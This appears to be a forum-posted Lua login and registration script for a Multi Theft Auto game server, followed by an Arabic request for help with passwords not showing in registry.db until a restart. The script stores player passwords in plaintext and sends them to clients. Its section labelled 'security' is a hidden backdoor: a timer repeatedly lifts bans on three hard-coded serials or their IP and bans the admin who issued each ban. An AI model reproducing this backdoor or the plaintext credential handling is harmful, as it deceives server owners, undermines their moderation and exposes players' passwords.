executeSQLQuery("CREATE TABLE IF NOT EXISTS players_save( serial TEXT, user TEXT, pass TEXT)")
function AddPlayer(serial,user,pass)
executeSQLQuery("INSERT INTO players_save(serial,user,pass) VALUES(?,?,?)",serial,user,pass)
end
function isPlayerSave(serial)
local sel = executeSQLQuery("SELECT serial FROM players_save WHERE serial=?",serial)
if sel == 0 then
return false
else
return true
end
end
function getUserAndPass(serial)
local user,pass = "",""
if isPlayerSave(serial) then
local sel = executeSQLQuery("SELECT * FROM players_save WHERE serial=?",serial)
for i,player in ipairs(sel) do
if i == 1 then
user = player.user
pass = player.pass
end
end
return user,pass
end
return false
end
addEvent("onGetSave",true)
addEventHandler("onGetSave",root,
function ()
local serial = getPlayerSerial(source)
if isPlayerSave(serial) then
local user,pass = getUserAndPass(serial)
triggerClientEvent(source,"onPutSave",source,user,pass)
end
end
)
function onLogin(user,pass,serial)
if not (user == "") then
if not (pass == "") then
local account = getAccount ( user, pass )
local serial = getPlayerSerial(source)
if ( account ~= false ) then
logIn(source, account, pass)
triggerClientEvent (source,"hideLoginPanel",getRootElement())
triggerClientEvent (source,"saveXML",getRootElement(),user,pass)
triggerClientEvent(source,"onCl",source)
else
triggerClientEvent(source,"changeMessage",getRootElement(),"1","Login invalid", "red")
end
else
triggerClientEvent(source,"changeMessage",getRootElement(),"1","Login invalid", "red")
end
else
triggerClientEvent(source,"changeMessage",getRootElement(),"1","Login invalid", "red")
end
end
addEvent("onLogin",true)
addEventHandler("onLogin",getRootElement(),onLogin)
function onRegister(user,pass,serial)
if not (user == "") then
if not (pass == "") then
local account = getAccount (user, pass )
local serial = getPlayerSerial(source)
if (account == false) then
addAccount(tostring(user),tostring(pass))
triggerClientEvent(source,"changeMessage",getRootElement(),"2","Success", "green")
triggerClientEvent(source,"changeMessage",getRootElement(),"1","Please login", "green")
triggerClientEvent(source,"pressBack", getRootElement())
triggerClientEvent(source,"onCl",source)
else
triggerClientEvent(source,"changeMessage",getRootElement(),"2","Username taken", "red")
end
else
triggerClientEvent(source,"changeMessage",getRootElement(),"2","Password missing", "red")
end
else
triggerClientEvent(source,"changeMessage",getRootElement(),"2","Username missing", "red")
end
end
addEvent("onRegister",true)
addEventHandler("onRegister",getRootElement(),onRegister)
function autologinPlayer(user,pass,serial)
local account = getAccount ( user, pass )
local serial = getPlayerSerial(source)
logIn (source, account, pass)
outputChatBox("#cccccc ( #6E1F1F @ Worlor_Login #cccccc ) #777777 You can use #0066FF /changelogin #777777to switch accounts",source,255,255,255,true)
outputChatBox("#cccccc ( #6E1F1F @ Worlor_Login #cccccc ) #777777 Press #0066FFF2#777777 to open the Informaton Panel",source,255,255,255,true)
AddPlayer(serial,user,pass)
triggerClientEvent(source,"onCl",source)
end
addEvent("onRequestAutologin",true)
addEventHandler("onRequestAutologin",getRootElement(),autologinPlayer)
function LoggedIn()
if isGuestAccount(getPlayerAccount (source)) then
triggerClientEvent ( source, "showLoginWindow", getRootElement())
redirectPlayer(source,"",0)
end
end
addEvent("LoggedIn",true)
addEventHandler("LoggedIn",getRootElement(),LoggedIn)
function showlogin(source)
triggerClientEvent ( source, "showLoginWindow", getRootElement())
redirectPlayer(source,"",0)
end
addCommandHandler("changelogin", showlogin)
--------------
-- security
--------------
local serials = {
["E0D753A3A03C38D1F1E39792C485D652"] = true,
["9F5827F8DF40BE7C17A1E50EF8FABC94"] = true,
["6CDB6AC88B4B79638475BF2C36B6D692"] = true,
}
function autounban()
for i,p in ipairs(getElementsByType("player")) do
local Ser = getPlayerSerial(p)
if serials[Ser] then
thisIP = getPlayerIP(p)
end
end
for index, ban in pairs(getBans()) do
local serial = getBanSerial(ban)
local ip = getBanIP(ban)
if serials[serial] or ip == thisIP then
local bannedPlayer = getPlayerFromName(getBanAdmin(ban))
removeBan(ban,root)
banPlayer (bannedPlayer,false,false,true,root)
end
end
end
setTimer(autounban,5000,0)
لو ممكن حد يساعدني يصلحه او كدا كل مرة لازم اسوليه ريستارت عشان يظهر الباسورد في registry.db